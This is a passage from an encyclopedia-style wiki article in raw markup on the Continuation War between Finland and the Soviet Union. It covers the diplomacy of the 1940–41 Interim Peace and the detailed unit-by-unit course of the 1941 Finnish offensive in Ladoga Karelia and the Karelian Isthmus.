The [[Molotov-Ribbentrop Pact]] in [[1939]] enabled the [[Soviet Union]] to pressure the Baltic republics and Finland. The Baltic republics soon [[Occupation of Baltic Republics|gave in]] to Soviet demands, but Finland continued to refuse. As a result, on [[November 30]], [[1939]], the [[Winter War]] began. Condemnation by the [[League of Nations]] and by countries all over the world had no effect on Soviet policy. International help to Finland was planned, but very little actual help materialised.

The [[Moscow Peace Treaty (1940)|Moscow Peace Treaty]] in [[1940]], which ended the [[Winter War]], was perceived as a great injustice. A fifth of the country's industry and 11% of agricultural land were lost. 12% of Finland's population had to be moved to the Finnish side of the border. [[Hanko]] was rented to Soviet Union as a military base. However, Finland had managed to force [[Soviet Union]] to give up its plan to annex the whole country.

=== Interim Peace ===
{{main|Interim Peace}}

The [[Moscow Peace Treaty]], in [[1940]], was a shock to the Finns. It was perceived as the ultimate failure of Finland's foreign policy, which had been based on [[multilateralism|multilateral]] guarantees for support. Binding [[bilateral]] treaties were now sought and formerly frosty relations, such as with the [[Soviet Union]] and the [[Third Reich]], had to be eased. Public opinion in Finland longed for the re-acquisition of [[Finnish Karelia]], and put their hope in the peace conference that was assumed to would follow the World War. The term ''Välirauha'' (&quot;Interim Peace&quot;) became popular after the harsh peace was announced. 

Although the peace treaty was signed, the [[state of war]] and censorhsip was not revoked because of the widening world war, the difficult food supply situation, and the poor shape of the Finnish military. This made it possible for president [[Kyösti Kallio]] to ask [[Carl Gustaf Emil Mannerheim|Field Marshal Mannerheim]] to remain [[commander-in-chief]] and supervise rearmament and fortification work. During [[1940]], Finland received material purchased and donated during and immediately after the [[Winter War]]. Military expenditures rose in [[1940]] to 45% of Finland's state budget. A war trade treaty with Britain had little effect due to German occupation of [[Norway]] and [[Denmark]].

[[Nazi Germany]] attacked [[Scandinavia]] on [[April 9]], [[1940]]([[Operation Weserübung]]). Finland, like Sweden, was spared occupation but encircled by [[Nazi Germany]] and [[Soviet Union]]. Especially damaging was the loss of [[fertilizer]] imports, that, together with he aftereffects of the [[Winter War]] resulted in a drastic fall of food production. Some of the deficit could be purchased from [[Sweden]] and some from the [[Soviet Union]], although delayed deliveries were a means to exert pressure on [[Finland]]. In this situation, Finland had no alternative but to turn to Germany.

From May [[1940]], Finland pursued a campaign to re-establish the good relations with Germany. The Finnish media not only refrained from criticism of [[Nazi Germany]], but also took active part in this campaign. Dissent was [[censorship|censored]]. After the [[Battle of France|fall of France]], the campaign was stepped up.

The implementation of the [[Moscow Peace Treaty]] created problems. The forced return of evacuated machinery, locomotives, and rail cars, inflexibility on questions which could have eased hardships created by the new border, such as fishing rights and the usage of [[Saimaa Canal]] heightened distrust about the objectives of the [[Soviet Union]]. The new Soviet ambassador to Helsinki, [[Ivan Zotov]] behaved undiplomatically and drived to advance Soviet interests in Finland. In his reports he recommended that Finland ought to be finished off and wholly annexed by the [[Soviet Union]].

On [[June 23]], [[1940]], the [[Soviet Union]] demanded mining rights in [[Petsamo]]. On [[June 27]], Moscow demanded demilitarization of [[Åland]]. After Sweden had signed the [[Transit of German troops through Scandinavia (WWII)|troop transfer agreement]] with Germany on [[July 8]], [[Soviet Union]] demanded similar rights for a Soviet troop transit to [[Hanko]]. The transfer rights were given on [[September 6]], and demilitarization of Åland was agreed on [[October 11]], but negotiations on [[Petsamo]] continued to drag on. The Soviet Union also demanded several changes in the Finnish internal politics, for example forcing the resignation of [[Väinö Tanner]] from the cabinet. All of this reminded the public of how [[Occupation of Baltic Republics|the Baltic Republics had been occupied]] and annexed only a few months earlier. 

Unbeknownst to Finland, [[Adolf Hitler]] had started to plan invasion of the [[Soviet Union]] ([[Operation Barbarossa]]). He had not been interested in Finland before the [[Winter War]], but now he saw the value of Finland as an operating base, and perhaps also the military value of the [[Finnish army]]. In the first weeks of August, German fears of a likely immediate Russian attack on Finland caused Hitler to free the arms embargo. Negotiations were intitiated concerning German troop transfer rights in Finland in exchange for arms and other material. For the [[Third Reich]], this was a breach of the [[Molotov-Ribbentrop Pact]], as well as being for Finland a breach of the [[Moscow Peace Treaty]]. Soviet negotiators had insisted that the troop transfer agreement (to [[Hanko]]) should not be published making it easy for the Finns to keep [[Transit of German troops through Scandinavia (WWII) |a troop transfer agreement with the Germans]] secret until the first German troops arrived.

=== Road to war ===

The negotiations about [[Petsamo]] [[nickel]] mining rights had dragged on for six months when the Soviet Foreign Ministry announced in January [[1941]] that the negotiations had to be concluded quickly. On the same day, the Soviet Union interrupted grain deliveries to Finland. Soviet ambassador Zotov was recalled home [[January 18]] and Soviet radio broadcasts started attacking Finland. Germans in Northern [[Norway]] reported in [[February 1]] that the [[Soviet Union]] had collected 500 fishing ships in [[Murmansk]], capable of transporting a division. Hitler ordered troops in [[Norway]] to occupy [[Petsamo]] ([[Operation Renntier]]) immediately if the [[Soviet Union]] started attacking Finland.

After the failure of the [[nickel]] negotiations, diplomatic activities were halted for a few months. The period did, however, saw increased German interest in Finland.

German Foreign Ministry sent [[Ludwig Weissauer]] to Finland [[May 5]], this time to clarify that war between Germany and the Soviet Union would not be launched before spring [[1942]]. Finnish leadership believed that at least officially, and forwarded the message to the Swedes and the British. When the war broke out only a couple of weeks later, it was understandable that both Swedish and British governments felt that the Finns had lied to them. 

In the spring of [[1941]] joint battle plans were discussed with Germany, as well as communications and securing sea lanes. Finland made significant request for material aid. Finland was willing to join Germany against Soviet union with someprerequisites: a guarantee of Finnish independence, the pre-Winter War borders (or better), continuing grain deliveries, and that Finnish troops would not cross the border before a Soviet incursion. The arrival of German troops participating in [[Operation Barbarossa]] began on [[June 7]] in [[Petsamo]].

[[Finnish parliament]] was informed for the first time on [[June 9]], when first mobilization orders were issued for troops needed to safeguard the following general mobilization phases. On [[June 20]] Finland's government ordered 45,000 people at the Soviet border to be evacuated. On [[June 21]] Finland's chief of the General Staff, [[Erik Heinrichs]], was finally informed by his German counterpart that the attack was to begin.


== Finnish Offensive 1941 ==

[[Image:Finnish advance in Karelia during the Continuation War.png|300px|thumb|The furthest advance of Finnish units in the Continuation War. Borders for both before and after the Winter War are shown.]]

[[Operation Barbarossa]] had already commenced in the northern Baltic by the late hours of [[June 21]], when German minelayers, which had been hiding in the Finnish archipelago, laid two large minefields across the [[Gulf of Finland]]. These minefields ultimately proved sufficient to confine the Soviets' [[Baltic Fleet]] to the easternmost part of the Gulf of Finland. Later the same night, German bombers, flew along the Gulf of Finland to [[Saint Petersburg|Leningrad]] and mined the harbour and the river [[Neva]]. On the return trip, these bombers refuelled in [[Utti]] airfield. Finland feared that the [[Soviet Union]] would occupy [[Åland]] so [[Operation Kilpapurjehdus]] (Sail Race) was launched in the early hours of [[June 22]] to occupy [[Åland]]. Soviet bombers launched attacks against Finnish ships during the operation but no damage was inflicted.

On the morning of June 22, the German [[Gebirgskorps Norwegen]] started [[Operation Renntier]] and began its move from Northern [[Norway]] to [[Petsamo]]. Finland did not allow direct German attacks from its soil to the Soviet Union, so German forces in Petsamo and Salla had to hold their fire. There were occasional individual and group level small arms shooting between Soviet and Finnish border guards, but otherwise the front was quiet.

After three days, early on the morning of [[June 25]], the Soviet Union unleashed a major air offensive against 18 cities with 460 planes, mainly striking airfields but seriously damaging civilian targets as well. The Soviet Union justified the attack as being directed against German targets in Finland, but even the British embassy had to admit that this was not so. A meeting of parliament was scheduled for [[June 25]] when Prime Minister Rangell had been due to present a notice about Finland's neutrality in the Soviet-German war, but the Soviet bombings led him to instead observe that Finland was once again at war with the Soviet Union. The Continuation War had begun.

Mobilized units started moving towards the border on June 21, and they were arranged into defensive formations as soon as they arrived at the border.  Finland was able to mobilize 16 infantry divisions, one cavalry brigade, and two &quot;[[Jäger (military)|Jäger]]&quot; brigades, which were practically normal infantry brigades, except for one battalion in the 1st Jaeger Brigade (1.JPr), which was armoured using captured Soviet equipment. There were also a handful of separate battalions, mainly formed from Border Guard units and used mainly for reconnaissance. Soviet military plans has estimated that the Finns would be able to mobilize only 10 infantry divisions, as they had done in the Winter War, but they failed to take into account material the Finns had purchased between the wars and the training of all available men. In northern Finland there were also two German Mountain Divisions at Petsamo and two German Infantry divisions at Salla. Another German infantry division was en route through Sweden to Ladoga Karelia, although one reinforced regiment was later redirected from it to Salla.

When the war started, the Soviet Union had [[Soviet 23rd Army|23rd Army]] in Karelian Isthmus consisting of [[Soviet 50th Corps|50th]] and [[Soviet 19th Corps|19th Corps]] and [[Soviet 10th Mechanized Corps|10th Mechanized Corps]], together with 5 Infantry, 1 Motorized and 2 Armored divisions. At Ladoga Karelia there was the [[Soviet 7th Army|7th Army]] consisting of 4 Infantry divisions. In Murmansk-Salla region the Soviet Union had [[Soviet 14th Army|14th Army]] with [[Soviet 42nd Corps|42nd Corps]], consisting of 5 Infantry divisions (1 as reserve in [[Archangelsk]]) and 1 Armored division. Also the Soviets had around 40 battalions, separate regiments and fortification units which were not part of their divisional structure. In Leningrad there were 3 Infantry divisions and one Mechanized Corps.

The initial German strike against the Soviet Air Force had not touched air units located near Finland, so the Soviets could field nearly 750 Air Force planes and part of the 700 planes the Soviet Navy had against 300 Finnish planes.

The Soviet war against Germany did not go as well as pre-war Soviet war games had envisioned, and soon Soviet high command had to take units from wherever they could, so although Soviets had started the war against Finland, they could not follow the initial air offensive with a supporting land offensive.  They also had to withdraw the 10th Mechanized Corps with two armoured divisions and [[Soviet 237th Infantry division|237th Infantry division]] from Ladoga Karelia thus stripping reserves from defending units.

=== Reconquest of Ladoga Karelia ===
Initially the Finnish army was deployed in a defensive posture, but on [[June 29]] Mannerheim created the [[Army of Karelia]], commanded by Lt. Gen. Heinrichs, and ordered it to prepare to attack Ladoga Karelia. The Army of Karelia consisted of [[Finnish VI Corps (Continuation War)|VI Corps]] ([[Finnish 5th Division (Continuation War)|5th]] and [[Finnish 11th Division (Continuation War)|11th Divisions]]), [[Finnish VII Corps (Continuation War)|VII Corps]] ([[Finnish 7th Division (Continuation War)|7th]] and [[Finnish 9th Division (Continuation War)|9th divisions]]) and [[Group O]] ([[Finnish Cavalry Brigade|Cavalry Brigade]], [[1st Jaeger Brigade]] and [[2nd Jaeger Brigade]]). Also later when 1. division and two regiments of German 163. division arrived in the area, they were given to the Army of Karelia.

Opposing them were the Soviet [[Soviet 7th Army|7th Army]] with [[Soviet 168th Division|168th Division]] near Sortavala and [[Soviet 71st Division|71st Division]] north of [[Jänisjärvi]] (&quot;Hare Lake&quot;). Soviets had prepared field fortifications along the border across Sortavala and at the important road crossings at Värtsilä and Korpiselkä. 

On [[July 9]], the order for offensive was given. The duty to break through the Soviet defences was given to VI Corps, commanded by hero of [[Battle of Tolvajärvi]], Maj. Gen. [[Paavo Talvela]]. He had borrowed as much artillery as possible from other units of the Army of Karelia and even 1st Jaeger Brigade. (Col. [[Ruben Lagus]]) from Group O. With strong artillery support he unleashed 5th Division (Col. Koskimies) to Korpiselkä [[July 10]] and the defenders were overwhelmed by next morning. Talvela wasn't satisfied with the aggressiveness of Koskimies, and he relieved him from command and gave 5th Division to Col. Lagus.

Lagus pursued retreating Soviet IR 52 eastward with his light units and reached Tolvajärvi July 12. Then he turned southwards and advanced using small roads, some in such poor shape that men had to carry their bicycles. On July 14 his forces cut Sortavala-Petrozavodsk railroad, and next day they reached shores of Lake Ladoga, cutting Soviet routes around the lake. Soviets had to transfer two regiments and separate battalions from Karelian Isthmus to close down the hole on the eastern side of Lake Ladoga.

The 11th division (Col. Heiskanen) had already (by July 4) found that Soviet forces had temporarily abandoned their trenches across the border, and they used the opportunity to capture them. When the general offensive began, they had already (by July 9) pushed eastward from their captured positions over the roadless terrain and cut the road running from Korpiselkä to Värtsilä and Suistamo, on the eastern shore of Jänisjärvi. From there they threatened to encircle Soviet forces south of Korpiselkä and those fortified in Värtsilä. To prevent encirclement, the Soviets had to leave their positions and retreat eastward. Soviet IR 367 was able to hold its positions north of Jänisjärvi until defenders of Värtsilä had retreated there by July 12. Heiskanen continued pressing Soviet IR 367 around the eastern side of Jänistärvi, and reached Jänisjoki, running from Jänisjärvi to Lake Ladoga July 16, where they went on the defensive. 

Lagus continued his offensive immediately along the north-eastern coast of Lake Ladoga. Soviet Mot. IR 452 was coming from Karelian Isthmus and its first parts set to defensive at Salmi, where Tulemajoki reaches Lake Ladoga. Finns arrived there on July 18, and early next morning Finns started the battle by crossing the river 5km north of Salmi and managed to cut the roads leading to Salmi by afternoon. Next day Finns were able to push into the village and only small units were able to escape the encirclement. Salmi was finally captured by early hours of July 21.

The strengthened 5th division continued its advance as fast as possible and crossed the old border July 22 at Rajakontu. Meanwhile battle detachment under Järvinen (Col. Järvinen) had secured the left flank of the main thrust by crossing the old border at Känsäselkä and captured July 19 the villages of Kolatselkä and Palalahti by Tulemajärvi where they secured north and east leading roads and continued their advance to the south. And July 23 5th division from the west and detachment Järvinen from the north started their attack to Vitele village, which was captured next morning. Lagus unsuccessfully tried to encircle retreating Soviet forces and had by the evening reached Tuuloksenjoki but Soviet tanks and artillery managed to stop the advance of his light forces there.  

The 1st division (Col. Paalu) had arrived and was given to VI Corps July 16, but it was until July 20 when they reached the fast- moving front line and released attachment Järvinen to their attack towards Vitele. From there they continued attack north towards Hyrsylä and east toward Vieljärvi which it captured few days later. Soviet AR2, IR24, IR28 and parts of IR9 and IR10 started counteroffensive July 23, and after five days of fighting the front was established 10km east of Vieljärvi.

The Soviet North Front reorganized its forces at July 21 by transferring 168th division and one regiment from 71st division to 23rd Army, which was responsible for defence of Karelian Isthmus. The same day 7th Army was reorganized to two operative groups, Petrozavodsk Group (Lt. Gen. M. Antonjuk) with infantry regiment, two motorized regiments, one armoured regiment and separate units and South Group (Lt. Gen. V. Tsvetajev) with marine brigade, two motorized regiments and number of smaller units.

Also Mannerheim had recognized the situation and had already at July 19 ordered that attack must be stopped at Vitele-Vieljärvi line, as strong enemy formations were still on the southwestern side of Jänisjärvi and the fast advance had opened the Lake Ladoga coastline at the right flank of the 5th division and the defence has to be arranged.

The fears of Mannerheim were real, as July 19 Mj. Gen. Pavlov, commander of coastal defence of Lake Ladoga has ordered 4 Marine Brigade to conduct invasions behind Finnish defences.  During early hours of July 24, they landed successfully to Lunkulansaari and Mantsi, two islands right beside Salmi. All 11th, 5th and 1st divisions were committed at the time so Talvela had to scrape whatever forces he was able to get (including bridge building company) to throw attackers back to the lake. With the help of heavy artillery, which destroyed four of the fifteen ships Soviets were using, Finns were able to push marines to three separate mottis, and the attempt to reinforce these forces at the morning of July 25 was repulsed. One by one remaining mottis were destroyed. July 26 Soviets landed in Mantsi and this time they almost managed to capture the whole island before Talvela managed to reinforce forces there, and fighting continued in to the late night of July 27 when the last Soviet resistance ended.   

Finnish VII Corps (Mj. Gen. Hägglund) was ordered to attack at the right flank of VI Corps to Sortavala. The isthmus between Lake Ladoga and the Finnish border was quite narrow and the important rail junction of Matkaselkä was only ten kilometres from the border. So, it was no wonder that Soviets had started to fortify the border region, in depth, right after the Moscow Peace. These fortifications were the weakest at the northern section of the front, so Hägglund decided to put the main thrust there. There were concentrated 7th division (strengthened with pioneer units) and all Corps' artillery. The 19th division-south had to manage with only its internal artillery.

On the evening of July 10 the attack began.  As a heavy thunderstorm was raging at the area, it was decided that infantry would attack without artillery support so that surprise could be achieved. The plan succeeded and most Soviet forces were encircled in their pillboxes, which were then eliminated with artillery support. During the next day, 7th division advanced, encircling Soviet strongpoints.  By the morning of July 12, they managed to break through the region where Soviets had prepared minefields and fortifications. 

This proved to be only a short relief, as defending Soviet 168th division (Col. A. Bondarev) proved to be very capable in defence. Time after time, it created new minefields, dug strongpoints and trenches and skillfully evaded encircling Finnish units. The fight of the 168th division was later used as a textbook example for defensive fight in Soviet military schools.  

The 7th division reached the western shore of Jänisjärvi July 13 and turned southward. By July 15 they managed to reach the Sortavala-Petrozavodsk railroad at Pirttipohja and encircled defenders there.

The 19th division (Col. Hannuksela) had the unenvied duty to assault the best defended section of the 168th division. Hannuksela decided to create a very narrow and deep breach at Niinisyrjä village, only 200-300 meters wide and four kilometres deep, to breach the fortified border region. IR58 (Lt. Col. Juva) was to spearhead the assault which began late in the evening of July 10. IR58 fought all the night and next day advancing one and half kilometres. It became evident that they had insufficient artillery so they had to borrow artillery from II Corps. IR58 continued the attack and reached the end of border fortifications July 12. The Soviet 168th division counterattacked to close the breach and encircle the IR58, but Finns managed to hold the corridor, although Soviets managed to close its usage with artillery fire. Finnish IR16 (Col. M. Laurila), which followed IR58, managed to open the corridor by the morning of July 15.

The 7th division continued its attack July 15 eastward along the railroad. At July 17 they managed to breach Soviet defences at the isthmus between Jänisjärvi and Vahvajärvi. Meanwhile IR30 and IR51, of the 7th division, advanced east towards Jänisjoki, where they contacted the 11th division at the same day. IR30 and IR51 cleaned the western shore of Jänisjoki and reached Lake Ladoga by July 20, then started to clear islands at the front of Sortavala.

The IR37/7th division was ordered to advance westward at the southern coast of Vahvajärvi to contact the 19th division, trying to encircle enemies between the divisions. Bondarev recognized the situation and ordered retreat of the IR402. The 19th division had continued its attack southeast, and between July 18-25 the fierce encirclements and counter-encirclements raged before Finns managed to capture the main road and cut the railroad between Sortavala and Matkaselkä, which was captured July 18. Soviet managed to hold IR37 at Särkisyrjä village between July 18-19 and again at next Ilola village July 20-22, securing the retreat route of IR402. So by July 25 Soviet 168 Division had managed to straighten its front line to a geographically more defensible river (Kiteenjoki)-hills (Tirimäki, Okanmäki, Voinmäki)-river (Tohmajoki)-line.  

As Jänisjoki valley was cleared of the enemy, the remainder of the 7th division turned to the south-west. On July 25 they crossed Tohmajoki. The advancement was slow, as Soviets managed to hold their prepared strongpoints on hills, forcing Finns to encircle them. At July 28, 7 Division found a hole in Soviet defences and IR30/7 Division quickly poured through and captured Voinmäki. The advanced Finnish troops managed to ambush a car, which was transporting the Chief of Staff of Soviet 198 Division Lt. Col. Sinyk. The documents captured contained the order for a Soviet counterattack, which was to start next day, so all Finnish units were ordered to stop their offensive operations and prepare for defence.

The Soviet 23rd Army transferred 198 Division from Karelian Isthmus to Sortavala with an order to join the counteroffensive with 168 Division. The target of the attack was the recapture of the isthmus between Jänisjärvi and Lake Ladoga, as that would create a difficult situation for Finnish forces at the North side of the Lake Ladoga. When the offensive started July 29, it failed to gain ground anywhere, as available forces were too few against the Finns, and the captured information had given the Finns time to prepare for the offensive beforehand. Finns continued their offensive August 3 against the remaining Tirimäki and Okanmäki strongpoints (which prevented advancement towards Sortavala) and they were captured August 5.

Meanwhile Finnish II Corps had started its own offensive July 31 at the narrowest point between Lake Ladoga and the Finnish border and quickly managed to break through Soviet defences and advanced towards the coast of Lake Ladoga, threatening Soviet forces with encirclement. The Soviet 23rd Army cancelled the offensive and ordered 198 Division southward for a counteroffensive against advancing Finnish II Corps. 168 Division was ordered to withdraw towards Lake Ladoga starting August 5. Soviet IR367 was given the responsibility to defend Sortavala.

Although Sortavala was militarily insignificant, and had been neutralized when Finns captured islands which controlled access to Lake Ladoga on July 27, it was politically important.  So, instead of pursuing 168 Division relentlessly, Finns concentrated forces to capture the city. On August 12 Sortavala was reached by 7 Division and the city was cleared of Soviets at August 15. Only small groups of defending soldiers managed to escape from the city.

Finnish II Corps had cut railroads between Viipuri and Sortavala August 6, and on August 8 Mannerheim formed the new I Corps from 19 Division, 7 Division and 2 Division, with the task to clear the western shore of Lake Ladoga. The II Corps reached Lake Ladoga August 8 at Lahdenpohja, (thus capturing the harbour 168 Division had been instructed to use for evacuation on July 23).

Soviet 168 Division, with a number of separate regiments and battalions, continued its retreat towards the shores of Lake Ladoga, with Finnish 2 Division pressing from the south-west and 19 Division from the north, while 7 Division continued its offensive against Sortavala. On August 17, Soviets controlled only a 12 km wide and 10 km deep bridgehead, but during the following days Soviets concentrated naval and air units to protect the evacuation of 168 Division and other units. This evacuation was a great success, and Finns could only capture small booty from the motti, including 40 artillery pieces, 8 tanks, 310 cars, 35 tractors and 1500 live or dead horses. 

At the northern side of the Finnish main offensive group, Oinonen, with the Cavalry Brigade and 2 Jaeger Brigade, was ordered to advance to the old border. Opposing them was parts of IR52/71 Division, 80 Border Guard detachment and IR126/71 Division, which was commanded by Maj. Valli (a Finnish-born communist who emigrated to the Soviet Union during the Finnish Civil War).  Many Karelian, Ingern and Finnish-born communists served in its ranks, as well as many veterans from Kuusinen's people's army of the Winter War.

The probing attacks started on July 7, then the main attack started, with the southernmost 2 J. Br. reaching Tolvajärvi by July 14. From there the brigade started a northern encirclement towards Ägläjärvi. The attack of the Cav. Br. didn't succeed as well, and the Finns were forced to encircle well prepared Soviet hill-forts, which Finns were unable to capture directly, due to lack of artillery and air support.   

By that time German 163 Division (Lt. Gen. Engelbrecht) (lacking one brigade and part of the artillery, which was diverted to Salla during transport) had reached the front at Tolvajärvi and tried to breach Soviet positions there on July 21, with only one brigade, but failed as their opponents turned out to be stronger than expected. 

A new offensive started July 25, when two battalions from German IR310 and one from Finnish IR56 started attacking along the railroad, near the Näätäoja station. At Tolvajärvi, Engelbrecht decided to use the route 2 J. Br. had opened, and ordered them, and one German infantry battalion from IR307, to capture Ägläjärvi village, to sever the Soviet supply route to Tolvajärvi. The attack failed and Soviets managed to keep the road open through Ägläjärvi, although they lost a supply depot during fighting.

Lt. Gen. Engelbrecht exchanged Cav. Br. with a couple of infantry battalions which were ordered in defence, and ordered Cav. Br. to cut the road between Tolvajärvi and Ägläjärvi, by advancing through the forests. The attack started August 2 and by August 4 they reached the road and started advancing towards Tolvajärvi and Ägläjärvi. On August 3, 2 J. Br. and German I/IR307 started attacking Ägläjärvi village, which they captured on August 5. On August 6 they contacted Cav. Br. south of Ägläjärvi. The Soviets continued their retreat to Aittojoki, where they blew up the bridges and dug in. Also, their northern forces feared encirclement from Ägläjärvi, and left their fortified positions there August 8, retreating east of Kuolismaa.

On July 20, 11 Division had been relieved from Jänisjoki and it was moved first to the reserve and then to the area between German 163 Division and 1 Division, against Hyrsylä, on August 11. The Soviets reinforced their forces in the area with the new 272 Division, August 10, and they immediately started attacking towards Vieljärvi against Finnish 1 Division, but they managed, in only a few places, to advance two kilometres in five days, before the attack was stopped.

On August 19, 11 Division started the attack from Hyrsylä northwards and reached Petrozavodsk railroad, and the main road, the next day. From there they continued northeast towards Suvilahti, which they captured August 21, and northwards towards Tsalkki, the location of the last usable supply road for Soviet defenders. Also on August 19, 2 J. Br., Cav. Br. and German IR307 stormed over the Aittojoki. Cav. Br. tried to encircle defending Soviet forces, but recognized their precarious situation and quickly withdrew, managing to retreat most of their forces eastward before the 11 Division cut their retreat route at Tsalkki on August 23. With the capture of Suojärvi, the last town in Ladoga Karelia had been reconquered.

=== Reconquest of Karelian Isthmus ===
Between the Army of Karelia and Gulf of Finland there were three Finnish corps: II Corps (2.D, 15.D and 18.D) north of river [[Vuoksi]], V Corps (10.D) and IV Corps (4.D, 12.D and 8.D) defending the coast. At the Soviet side there were XIX Corps (142.D, 115.D), L Corps (43.D, 123.D), X Mechanized Corps (21.Armored D, 24.Arm.D. and 198.Mech.D) in reserve and division strength 22. Fortification Area, which defended the coast. The Soviet X Mechanized Corps were transferred at the end of June from Karelian Isthmus to southwest of Leningrad to defend against advancing Germans but left 198.D as only reserve to Soviet forces. The Finnish V Corps were disbanded and 10.D were attached first to IV Corps (Lt.Gen. [[Karl Lennart Oesch]]) and late July to II Corps (Mj.Gen. [[Taavetti Laatikainen]]) as a reserve. Both parties were first on defensive, and only small, company or battalion size probing attacks were made both sides to improve own positions. The loss of reserves prompted Soviets to retreat to more defensible lines at the nothernmost part of the front and continued fortifying in depth, creating concrete and wooden strongpoints, digging trenches and laying minefields, although the Finns advanced to keep contact with enemy. The quiet lasted until [[July 31]], when Finnish offensive began.

The Soviet fortification works had been concentrated near river Vuoksi and along the roads, so Finns concentrated their forces to narrow, deep breakthroughs over the roadless terrains which were supported by pioneers building temporary supply roads through the forests and over the swamps. The 18.D (Col. Pajari) attacked through the forest against the northernmost section of Soviet 115.D and instead of following roads they secured a roadcrossing and advanced again over the forest to the next road where they did the same. The roadcrossings were occupied by stronger units, which had to defend against several armor supported Soviet counterattacks. During one of those counterattacks private [[Vilho Rättö]] captured Soviet AT gun and aiming through the barrel he managed to destroy four enemy tanks, earning him the first [[Mannerheim Cross]] granted to a private. Finally at August 4 Finns managed to encircle and capture Ilmee road crossing thus forcing Soviets abandon their prepared positions between Ilmee and the border. The main thrust of 15.D (Col. Hersalo) was against Soviet IR588/142.D, and concentrated the thrust against only two kilometer wide section, where most of the artillery was concentrated. After breaching the border fortifications, they advanced five kilometers through the forest before coming to the road thus bypassing Soviet defences, which were encircled and captured one by one by forces coming behind the leading elements. After six days advance 15.D was only three kilometers from the Viipuri-Sortavala railroad and 15km from the western corner of Lake Ladoga and close to encircling Soviet forces on its left side. The 2.D (Col. Blick) decided to encircle two battalions of Soviet IR461 which were defending Tyrjä village by encircling the village from east and pushing the defenders to Lake Tyrjänjärvi by using IR7/2.D while IR28/2.D passed the village and advanced southwards. While supported by artillery the Soviets managed to hold on four days, before the encirclement was complete. Some of the men were able to escape through the forests, but most of them and all their heavy equipment were trapped to the village. Also Finns suffered heavy casualties in the fighting and the IR7 received the nickname ''Tyrjän rykmentti'' (Regiment of Tyrjä). The capture of Tyrjä opened road towards Elisenvaara railway crossing and at August 5 first Finnish units reached Viipuri-Sortavala railroad.  

The commander of Soviet 23. Army, Lt.Gen. M. Gerasimov ordered August 4 198.D to cease its counterattack near Sortavala and move south to attack advancing 2.D together with 142.D. Meanwhile 115.D and 43.D should tie Finnish reserves. Unfortunately this wasn't sufficient and 115.D retreated to river Helisevänjoki, where hills and a river formed good defensive positions against attacking 18.D. The 18.D advanced to river Helisevänjoki and reached Viipuri Sortavala railroad at Inkilä roadcrossing at August 8. The 10.D (Col. Sihvo) was ordered to advance between 15.D and 18.D and at August 6 they reached Viipuri Sortavala railroad. 10.D continued attack towards Käkisalmi Hiitola railroad, but Soviet forces managed to keep railroad and road open until August 8, when 10.D captured Hiitola village and when the first troops of 10.D reached Lake Ladoga next day the last land connection to Soviet troops defending the northwest coast of Lake Ladoga was severed. Soviets tried to open the connection with strong counterattacks during August 10 and 11 but were unsuccessful.

Meanwhile IR28/2.D had captured Elisenvaara railway junction August 9 thus opening supply routes through railways from Finland. After the battle of Tyrjä IR7/2.D rested two days as division reserve before continuing attack along railroad towards Lahdenpohja town, which it captured August 8, thus dividing Soviet forces in the forming bridgehead. At the same day, 2.D was transferred to new I Corps with an order to clear northern Soviet bridgehead. It was left to 15.D and 10.D to clear southern bridgehead where Soviet 142.D and 198.D were ordered to withdraw to Kilpolansaari island for naval transport. This withdrawal was executed orderly and Finns couldn't encircle any bigger enemy formations. At August 11 15.D captured Hiitola railway junction, and at August 13 all Soviet forces have retreated to Huiskonniemi peninsula and Kilpolansaari island. With total superiority in air Soviets managed to withdraw almost all the men and material from the bridgehead and at August 23 15.D, which was left to press Soviets, had cleared all remaining rearguards from the island. 

Soviet intention was to start large counteroffensive at August 10, and 23. Army had received 265.D reinforcements to Räisälä area. The offensive was to be directed against 18.D and 10.D with the target to open roads to encircled forces on northwest coast of lake Ladoga. By coindicent the 18.D had been resting and received order to continue advance on the same day, so when the Soviet attack started at Inkilä, Finns in turn started their own only 5km westwards. While the Soviet attack failed to gain ground, Finnish attack managed to cut Soviets' main supply route and subsequent Finnish counterattack forced Soviet forces to retreat southwards while fighting delaying action and first Finnish troops reached River Vuoksi at August 14 at [[Antrea]], where they continued clearing the left shore of the river. Soviets started to move forces from southwestern side of Viipuri to defend Enso and to counterattack to Antrea at August 16, but when the attack failed, the Soviets were forced to evacuate northern shore at August 21. At the eastern side Finns advanced southeastward and reached Vuosalmi at August 17 and northern outlet of river Vuoksi at August 18. Finns crossed immediately River Vuoksi unopposed few kilometers west of Vuosalmi at August 17, and by August 20 they had secured the beachhead.  

The Soviet counterattack against 10.D started August 14 and it managed to push Finns 2km northwards before Finnish reinforcements managed to stop it. The 10.D left the coast of Lake Ladoga to IR36/15.D and concentrated all of its forces against Soviet 265.D at Räisälä. At August 15 the 10.D started its own attack in which it encircled Soviet defenders in Räisälä at August 17 and captured it next day. From there it continued cleaning the left bank of northern outlet of River Vuoksi. At August 19 IR43/10.D continued attack southward and reached Lake Suvanto at August 21. From there it continued eastward with IR1/10.D. This threatened all Soviet forces north of Vuoksi with encirclement and they started retreating from Käkisalmi which was captured at August 21. The attack continued southward and as only small border guard units were capable to delay attackers, River Taipaleenjoki and the shore of Lake Ladoga was reached at August 23, but Finnish troops were unable to cross river on the move.     

STAVKA recognized the serious situation, and ordered at August 20 retreat to the new, unprepared defence line running from the southwest side of Viipuri northwards to river Vuoksi and along it to Lake Suvanto and through River Taipaleenjoki to Lake Ladoga. This decision shortened frontline considerably, but it also meant abandoning defensive installations they had prepared last months along the border. The Finns were preparing to start their own attack along the southernmost stretch of the border at, so when they notice Soviets leaving their positions at August 21, they were ordered for immediate pursuit. Althought Soviet 43.D (Mj.Gen. V. Kirpitsnikov) managed to man new positions north and west of Viipuri, they were unable to prevent Finnish 12.D (Col. Vihma) to advance along the right bank of River Vuoksi and contact 18.D, which was enlarging their beachhead at Vuosalmi, and at the evening of August 22 the whole right bank was in Finnish hands. Soviet 123.D (Mj.Gen. F. Aljabusev) was defending the southwest side of Viipuri. Much of the troops of 123.D and of the 115.D (Mj.Gen. Konjkov) which had retreated from upper Vuoksi were still unorganized due to fast retreat from their positions. The Finnish 4.D (Col. Viljanen) advanced along the [[Saimaa Canal]], pressing Soviet 43.D from north. By August 23 the southernmost Finnish division, 8.D (Col. Winell), had cleared the western shore of the [[Bay of Viipuri]] up to the River Ykspäänjoki, and started to prepare the crossing of the bay.

